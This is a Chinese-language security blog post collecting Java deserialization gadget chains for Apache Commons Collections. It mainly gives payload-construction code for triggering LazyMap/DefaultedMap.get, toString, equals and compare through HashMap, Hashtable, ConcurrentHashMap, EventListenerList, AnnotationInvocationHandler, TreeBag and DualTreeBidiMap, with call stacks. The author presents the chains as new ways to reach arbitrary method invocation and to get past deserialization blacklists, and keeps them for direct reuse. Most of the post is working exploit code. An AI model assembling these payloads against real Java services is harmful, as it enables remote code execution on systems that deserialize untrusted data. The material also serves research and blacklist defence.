前言 		最近黑神话悟空火热,大家都开启二周目。现在正直网安特殊时间,时间较多,随准备重走一遍反序列取经路,看看有没有新的触发方式,记录一下,方便以后直接使用。
0x01 commons.collections (map.get) 		最经典的反序列化gadget,触发点
LazyMap.get    这里LazyMap可以换成DefaultedMap (3.1没有这个类 )
1 2 3 4 LazyMap.get()/TransformedMap.setValue()     ChainedTransformer.transform()         ConstantTransformer.transform()             InvokerTransformer.transform()
 
org.apache.commons.collections.map.DefaultedMap#get
DefaultedMap的value可控,后面大差不差
1 2 3 4 Map  decorate  =  DefaultedMap.decorate(new  HashMap (), new  ConstantFactory (1 ));Field  value  =  DefaultedMap.class.getDeclaredField("value" ); value.setAccessible(true ); value.set(decorate,chain);
 
org.apache.commons.collections.keyvalue.TiedMapEntry
也就是TiedMapEntry的equals,hashCode,toString 都能触发到LazyMap.get。那我们只要找到调用到这个三个方法的头就行。
整理一下,目前我手里的 (还藏了几个)
由于在map里面put时,自动会计算hashcode,所以不罗列。
BadAttributeValueExpException触发tostring 1 2 BadAttributeValueExpException  badAttributeValueExpException  =  new  BadAttributeValueExpException (new  HashMap <>()); setFieldValue(badAttributeValueExpException,"val" ,tiedMapEntry);
 
HotSwappableTargetSource & XString 触发tostring com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
注意满足强转类型,
1 2 3 4 5 6 7 8 9 10 11 12 13 public  static  HashMap HotSwappabletostring (Object o1) throws  Exception{     Object xstring;     HotSwappableTargetSource  hotSwappableTargetSource1  =  new  HotSwappableTargetSource (o1);        xstring = utils.createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XStringForFSB" );     utils.setFieldValue(xstring, "m_obj" , "1" );     xstring = utils.createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XStringForChars" );     utils.setFieldValue(xstring, "m_obj" , new  char [5 ]);     xstring = new  XString (null );     HotSwappableTargetSource  hotSwappableTargetSource2  =  new  HotSwappableTargetSource (xstring);     HashMap  val  =  makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);     return  val; }
 
本质是XString的equals的触发了obj的tostring。那么就用三个来触发了
hashtable触发tostring 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public  static  Hashtable makeTableTstring (Object o)  throws  Exception{     Map  tHashMap1  =  (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap" );     Map  tHashMap2  =  (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap" );     tHashMap1.put(o,"Unam4" );     tHashMap2.put(o,"SpringKill" );     setFieldValue(tHashMap1,"loadFactor" ,1 );     setFieldValue(tHashMap2,"loadFactor" ,1 );     Hashtable  hashtable  =  new  Hashtable ();     hashtable.put(tHashMap1,"Unam4" );     hashtable.put(tHashMap2,"SpringKill" );     tHashMap1.put(o, null );     tHashMap2.put(o, null );     return  hashtable; }
 
EventListenerList触发tostring javax.swing.event.EventListenerList#readObject
读入对象,listenerTypeOrNull,然后调用add
然后判断我们控制的类是不是属于name这个类,不属于直接可以字符串拼接,造成obj.tostring。l我们可以控制,来看序列化函数
javax.swing.event.EventListenerList#writeObject
在序列化时,会对list里面对象进行强转,所以要找一个属于EventListener的类。
它有一个属性可控,类型Vector,Vector触发tostring,会对list每个对象都进行tostring,完成触发。
javax.swing.undo.UndoManager#toString
javax.swing.undo.CompoundEdit#toString
java.util.Vector#toString
java.util.AbstractCollection#toString
然后遍历list对象,加入到sb,
java.lang.String#valueOf(java.lang.Object)
直接进行tostring。
调用栈
1 2 3 4 5 6 7 8 9 10 javax.swing.event.EventListenerList.readObject   javax.swing.event.EventListenerList.add   	java.lang.String#valueOf(UndoManager)   		javax.swing.undo.UndoManager#toString   			javax.swing.undo.CompoundEdit#toString   				java.util.Vector#toString   					java.util.AbstractCollection#toString   						java.lang.StringBuilder#append   							java.lang.String#valueOf   								expobj.toString
 
还是值得学习一下的。
1 2 3 4 5 EventListenerList  list  =  new  EventListenerList ();UndoManager  manager  =  new  UndoManager ();Vector  vector  =  (Vector) utils.getFieldValue(manager, "edits" ); vector.add(tiedMapEntry); utils.setFieldValue(list, "listenerList" , new  Object [] { Map.class, manager });
 
hashmap触发tostring 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public  static  HashMap maskmapToString (Object o1, Object o2)  throws  Exception{     Map  tHashMap1  =  (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap" );     Map  tHashMap2  =  (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap" );     tHashMap1.put(o1,null );     tHashMap2.put(o2,null );     setFieldValue(tHashMap1,"loadFactor" ,1 );     setFieldValue(tHashMap2,"loadFactor" ,1 );     HashMap  hashMap  =  new  HashMap ();     Class  node  =  Class.forName("java.util.HashMap$Node" );     Constructor  constructor  =  node.getDeclaredConstructor(int .class, Object.class, Object.class, node);     constructor.setAccessible(true );     Object  node1  =  constructor.newInstance(0 , tHashMap1, null , null );     Object  node2  =  constructor.newInstance(0 , tHashMap2, null , null );     utils.setFieldValue(hashMap, "size" , 2 );     Object  arr  =  Array.newInstance(node, 2 );     Array.set(arr, 0 , node1);     Array.set(arr, 1 , node2);     utils.setFieldValue(hashMap, "table" , arr);     return  hashMap; }
 
HotSwappableTargetSource 触发equals 1 2 3 HotSwappableTargetSource  hotSwappableTargetSource1  =  new  HotSwappableTargetSource (node);HotSwappableTargetSource  hotSwappableTargetSource2  =  new  HotSwappableTargetSource (new  XString (null ));HashMap  val  =  makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
 
说实话,脱裤子放屁
Hashtable触发equals 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public  static  Hashtable makeTable (Object o, Object o2)  throws  Exception{     Hashtable  hashtable  =  new  Hashtable ();     utils.setFieldValue(hashtable,"count" ,2 );     Class<?> nodeC;     nodeC = Class.forName("java.util.Hashtable$Entry" );     Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC);     nodeCons.setAccessible(true );     Object  tbl  =  Array.newInstance(nodeC, 2 );     Array.set(tbl, 0 , nodeCons.newInstance(0 , o, "Unam4" , null ));     Array.set(tbl, 1 , nodeCons.newInstance(0 , o2, "Springkill" , null ));     utils.setFieldValue(hashtable, "table" , tbl);     return  hashtable; }
 
HashMap 触发equals 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public  static  HashMap<Object, Object> makeMap (Object o, Object o2)  throws  Exception {     HashMap<Object, Object> s = new  HashMap <>();      utils.setFieldValue(s, "size" , 2 );     Class<?> nodeC;     try  {         nodeC = Class.forName("java.util.HashMap$Node" );     } catch  (ClassNotFoundException e) {         nodeC = Class.forName("java.util.HashMap$Entry" );     }     Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC);     nodeCons.setAccessible(true );     Object  tbl  =  Array.newInstance(nodeC, 2 );     Array.set(tbl, 0 , nodeCons.newInstance(0 , o, "key1" , null ));     Array.set(tbl, 1 , nodeCons.newInstance(0 , o2, "key2" , null ));     utils.setFieldValue(s, "table" , tbl);     return  s; }
 
ConcurrentHashMap触发equals 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public  static  ConcurrentHashMap<Object, Object> makeConcurrentMap (Object o, Object o2)  throws  Exception {      ConcurrentHashMap<Object, Object> s = new  ConcurrentHashMap <>();      utils.setFieldValue(s, "sizeCtl" , 2 );      Class<?> nodeC;      try  {          nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node" );      } catch  (ClassNotFoundException e) {          nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node" );      }      Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC);      nodeCons.setAccessible(true );      Object  tbl  =  Array.newInstance(nodeC, 2 );      Array.set(tbl, 0 , nodeCons.newInstance(0 , o, "zZ" , null ));      Array.set(tbl, 1 , nodeCons.newInstance(0 , o2, "yy" , null ));      utils.setFieldValue(s, "table" , tbl);      return  s;  }
 
AnnotationInvocationHandler触发tostring (jdk<8u20) sun.reflect.annotation.AnnotationInvocationHandler#readObject
可以这个vaule直接和字符拼接,会触发value.tostring。value是memberValues 这个map里的vaule,可控。
1 2 3 4 5 6 HashMap<Object, Object> map1 = new  HashMap <>(); map1.put("value" ,tiedMapEntry); Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); Anotationdeclared.setAccessible(true );InvocationHandler  h  =  (InvocationHandler) Anotationdeclared.newInstance(Target.class, map1);
 
Flat3Map触发hashcode org.apache.commons.collections.map.Flat3Map#readObject
可以看到和hashmap一样,所有都能用。
最后将上面source,flow,sink 一一组合就可以得到一些新gadget。
1 2 3 4 5 6 7 8 9 10 11 12  Map s= (Map) new  Flat3Map ();     Class<?> nodeB;     nodeB = Class.forName("org.apache.commons.collections.map.AbstractHashedMap$HashEntry" );     HashedMap  hashedMap  =  new  HashedMap ();     Constructor<?> nodeCons = nodeB.getDeclaredConstructor(nodeB,int .class, Object.class, Object.class);     nodeCons.setAccessible(true );     Object  tbl  =  Array.newInstance(nodeB, 1 );     Array.set(tbl, 0 , nodeCons.newInstance(null ,0 , tiedMapEntry, tiedMapEntry));     utils.setFieldValue(hashedMap, "data" , tbl);     utils.setFieldValue(hashedMap, "size" , 1 );     utils.setFieldValue(s,"delegateMap" ,hashedMap);
 
AnnotationInvocationHandle触发map.get sun.reflect.annotation.AnnotationInvocationHandler#invoke
memberValues可控,map类型. 
1 2 3 4 5 6 7 Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> Anotationdeclared =         AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); Anotationdeclared.setAccessible(true );  InvocationHandler  h  =  (InvocationHandler) Anotationdeclared.newInstance(Override.class, lazymap/DefaultedMap);Map  Mapproxy  = (Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new  Class []{Map.class}, h);Object  instance  = Anotationdeclared.newInstance(Override.class, Mapproxy);
 
1 2 3 4 5 TransformingComparator.compare()     ChainedTransformer.transform()             InvokerTransformer.transform()                 InstantiateTransformer.transform()                     TemplatesImpl.newTransformer()   
 
org.apache.commons.collections.comparators.TransformingComparator#compare
transform这个属性可控。所以需要调用compare
目前本人收集的
PriorityQueue触发compare 1 2 3 4 5 PriorityQueue  queue  =  new  PriorityQueue (1 ); utils.setFieldValue(queue, "size" , 2 ); utils.setFieldValue(queue, "comparator" , Tcomparator); utils.setFieldValue(queue, "queue" , new  Object []{Runtime.class,1 });
 
TreeBag触发compare org.apache.commons.collections.bag.TreeBag#readObject
这里map改为TreeMap类型
java.util.TreeMap#put
java.util.TreeMap#compare
compare属性可控
1 2 3          TreeBag  treeBag  =  new  TreeBag (comparator);         treeBag.add(Runtime.class);
 
以上任意组合,就可以得到新gadget。这个点也可以走到cb的gadget(一般cc、cb都有的情况.绕黑名单)。
hashmap触发compare 1 java.util.AbstractMap#equals
 
具体可以操作这个类,具体流程可以看看我这篇文章
https://unam4.github.io/2024/06/03/%E6%96%B0jdk%E5%8E%9F%E7%94%9F%E5%85%A5%E5%8F%A3%E5%88%B0jndi/ 
java.util.TreeMap#get
comparator可控,k可控,也就是改成cc4,TransformingComparator或者cb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public  static  HashMap<Object, Object>hashmap2compare(Comparator o1, Object o2) throws  Exception {     TreeMap  treeMap1  =  new  TreeMap (o1);     treeMap1.put(o2, 1 );     TreeMap  treeMap2  =  new  TreeMap (o1);     treeMap2.put(o2,1 );     HashMap<Object, Object> s = new  HashMap <>();     utils.setFieldValue(s, "size" , 2 );     Class<?> nodeC;     try  {         nodeC = Class.forName("java.util.HashMap$Node" );     } catch  (ClassNotFoundException e) {         nodeC = Class.forName("java.util.HashMap$Entry" );     }     Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC);     nodeCons.setAccessible(true );     Object  tbl  =  Array.newInstance(nodeC, 2 );     Array.set(tbl, 0 , nodeCons.newInstance(0 , treeMap1, "key1" , null ));     Array.set(tbl, 1 , nodeCons.newInstance(0 , treeMap2, "key2" , null ));     utils.setFieldValue(s, "table" , tbl);     return  s; }
 
Hashtable 触发compare 不多说,hashmap可以,那么其他map也行,上科技。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public  static  Hashtable<Object, Object>table2compare(Comparator o1, Object o2) throws  Exception {     TreeMap  treeMap1  =  new  TreeMap (o1);     treeMap1.put(o2, 1 );     TreeMap  treeMap2  =  new  TreeMap (o1);     treeMap2.put(o2,1 );     Hashtable  hashtable  =  new  Hashtable ();     utils.setFieldValue(hashtable,"count" ,2 );     Class<?> nodeC;     nodeC = Class.forName("java.util.Hashtable$Entry" );     Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC);     nodeCons.setAccessible(true );     Object  tbl  =  Array.newInstance(nodeC, 2 );     Array.set(tbl, 0 , nodeCons.newInstance(0 , treeMap1, "Unam4" , null ));     Array.set(tbl, 1 , nodeCons.newInstance(0 , treeMap2, "Springkill" , null ));     utils.setFieldValue(hashtable, "table" , tbl);     return  hashtable; }
 
ConcurrentHashMap触发compare 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public  static  ConcurrentHashMap<Object, Object> ConcurrentMap2cpmpare (Comparator o1, Object o2)  throws  Exception {     TreeMap  treeMap1  =  new  TreeMap (o1);     treeMap1.put(o2, 1 );     TreeMap  treeMap2  =  new  TreeMap (o1);     treeMap2.put(o2,1 );     ConcurrentHashMap<Object, Object> s = new  ConcurrentHashMap <>();     utils.setFieldValue(s, "sizeCtl" , 2 );     Class<?> nodeC;     try  {         nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node" );     } catch  (ClassNotFoundException e) {         nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node" );     }     Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC);     nodeCons.setAccessible(true );     Object  tbl  =  Array.newInstance(nodeC, 2 );     Array.set(tbl, 0 , nodeCons.newInstance(0 , treeMap1, "unam4" , null ));     Array.set(tbl, 1 , nodeCons.newInstance(0 , treeMap2, "springkill" , null ));     utils.setFieldValue(s, "table" , tbl);     return  s; }
 
AnnotationInvocationHandler触发compare (jdk<8u20) 没什么好说的,动态代理结合treemap触发compare
sun.reflect.annotation.AnnotationInvocationHandler#readObject
值得注意的是,memberValues 是map的key是string类型,也就是无法用来触发cb
1 2 3 4 5 6 7 8 9 10 public  static  Object annotationhander2compare (Map o)  throws  Exception {     Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );     Constructor<?> Anotationdeclared =             AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);     Anotationdeclared.setAccessible(true );     InvocationHandler  h  =  (InvocationHandler) Anotationdeclared.newInstance(Override.class, o);     Map  Mapproxy  = (Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new  Class []{Map.class}, h);     Object  o1  = Anotationdeclared.newInstance(Override.class, Mapproxy);     return  o1; }
 
对应cc4的调用
1 2 3 4 5 6 7 8 9 10 11 Exception in thread "main"  org.apache.commons.collections4.FunctorException: InstantiateTransformer: Constructor threw an exception 	at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:124 ) 	at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:32 ) 	at org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:112 ) 	at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81 ) 	at java.util.TreeMap.getEntryUsingComparator(TreeMap.java:376 ) 	at java.util.TreeMap.getEntry(TreeMap.java:345 ) 	at java.util.TreeMap.get(TreeMap.java:278 ) 	at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77 ) 	at com.sun.proxy.$Proxy1.entrySet(Unknown Source) 	at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444 )
 
DualTreeBidiMapr触发compare org.apache.commons.collections.bidimap.DualTreeBidiMap#readObject
对treep赋值
父类的map是一个map数组。
然后它会map中所有的键值对,然后得到一个迭代器,进行遍历put进treemap。 
然后进行compare,后面没什么好说的,用cb时,把这个key,vaule 改成对应要触发getter的对象就行。
1 2 3 4 5 6 7 8 9 10 public  static  DualTreeBidiMap dualTreeBidiMap2compare (Comparator o1, Object o2)  throws  Exception {     DualTreeBidiMap  dualTreeBidiMap  =  new  DualTreeBidiMap ();     Map[] mapArray = new  HashMap [1 ];     mapArray[0 ] = new  HashMap ();          mapArray[0 ].put(o2, o2);     utils.setFieldValue(dualTreeBidiMap, "comparator" , o1);     utils.setFieldValue(dualTreeBidiMap, "maps" , mapArray);     return  dualTreeBidiMap; }
 
org.apache.commons.collections.functors.InstantiateTransformer#transform
鸡肋,只能进行构造函数的实例化。
目前公开也就TrAXFilter.TrAXFilter()
1 2 3 InstantiateTransformer.transform () 	TrAXFilter.TrAXFilter ()     TemplatesImpl.newTransformer ()
 
所以我们只要把前面map.get 触发value.transform改成InstantiateTransformer就完事了
没什么好说的,配合ConstantTransformer,ChainedTransformer可以调用任意类任意方法。
可惜setValue里面不可控,组装起来不怎么顺畅。(不能直接InstantiateTransformer,InvokerTransformer)
TransformedMap父类AbstractInputCheckedMapDecorator.MapEntry#setValue/EntrySet
对parent完成赋值
最后完成触发。
0x06 总结 		主要就是找到相应的出发点,然后找新的出发点。然后可以结合ChainedTransformer调用InvokerTransformer  访问任意类任意方法 或者 InstantiateTransformer结合TrAXFilter 调用templateimpl 。
0x07 补充lazymap/DefaultedMap.get  由于org.apache.commons.collections.map.LazyMap#get/org.apache.commons.collections.map.DefaultedMap#get会调用任意Transformer类的transform方法,所以我们给几条触发get的方法,
 
AnnotationInvocationHandle触发map.get (<=8u20) sun.reflect.annotation.AnnotationInvocationHandler#invoke
memberValues可控,map类型. 可以触发.但是由于memberValues限制了private final Map<String, Object> memberValues;
1 2 3 4 5 6 7 Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> Anotationdeclared =         AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); Anotationdeclared.setAccessible(true );InvocationHandler  h  =  (InvocationHandler) Anotationdeclared.newInstance(Override.class, memberValues);Map  Mapproxy  = (Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(),new  Class []{Map.class}, h);Object  instance  = Anotationdeclared.newInstance(Override.class, Mapproxy);
 
java.util.AbstractMap#equals触发lazymap/DefaultedMap.get (m只能为map类型) java.util.AbstractMap#equals
他是个抽象类。
也就是这里我们可以直接改为lazymap/DefaultedMap, 然后他们进而触发Transformer.transform完成链式调用。
1 2 3 4 5 get:185 , DefaultedMap (org.apache.commons.collections.map ) equals:495 , AbstractMap (java.util) equals:130 , AbstractMapDecorator (org.apache.commons.collections.map ) reconstitutionPut:1262 , Hashtable (java.util) readObject:1218 , Hashtable (java.util)
 
		
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Map  decorate  =  DefaultedMap.decorate(new  HashMap (), chain);Map  decorate2  =  DefaultedMap.decorate(new  HashMap (), chain); decorate.put("zZ" ,1 ); decorate2.put("yy" ,1 );Hashtable  hashtable  =  new  Hashtable (); utils.setFieldValue(hashtable,"count" ,2 ); Class<?> nodeE; nodeE = Class.forName("java.util.Hashtable$Entry" ); Constructor<?> nodeEons = nodeE.getDeclaredConstructor(int .class, Object.class, Object.class, nodeE); nodeEons.setAccessible(true );Object  tbl  =  Array.newInstance(nodeE, 2 ); Array.set(tbl, 0 , nodeEons.newInstance(0 , decorate, "Unam4" , null )); Array.set(tbl, 1 , nodeEons.newInstance(0 , decorate2, "Springkill" , null )); utils.setFieldValue(hashtable, "table" , tbl);
 
1 2 3 4 5 get:185 , LazyMap (org.apache.commons.collections.map) equals:495 , AbstractMap (java.util) equals:130 , AbstractMapDecorator (org.apache.commons.collections.map) reconstitutionPut:1262 , Hashtable (java.util) readObject:1218 , Hashtable (java.util)
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Map  lazyMap1  =  LazyMap.decorate( new  HashMap (), chain); lazyMap1.put("yy" , 1 );Map  lazyMap2  =  LazyMap.decorate( new  HashMap (), chain); lazyMap2.put("zZ" , 1 );Hashtable  hashtable  =  new  Hashtable (); utils.setFieldValue(hashtable,"count" ,2 ); Class<?> nodeE; nodeE = Class.forName("java.util.Hashtable$Entry" ); Constructor<?> nodeEons = nodeE.getDeclaredConstructor(int .class, Object.class, Object.class, nodeE); nodeEons.setAccessible(true );Object  tbl  =  Array.newInstance(nodeE, 2 ); Array.set(tbl, 0 , nodeEons.newInstance(0 , lazyMap1, "Unam4" , null )); Array.set(tbl, 1 , nodeEons.newInstance(0 , lazyMap2, "Springkill" , null )); utils.setFieldValue(hashtable, "table" , tbl);
 
也就是hashmap、hashtable、HotSwappableTargetSource、ConcurrentHashMap 等都行。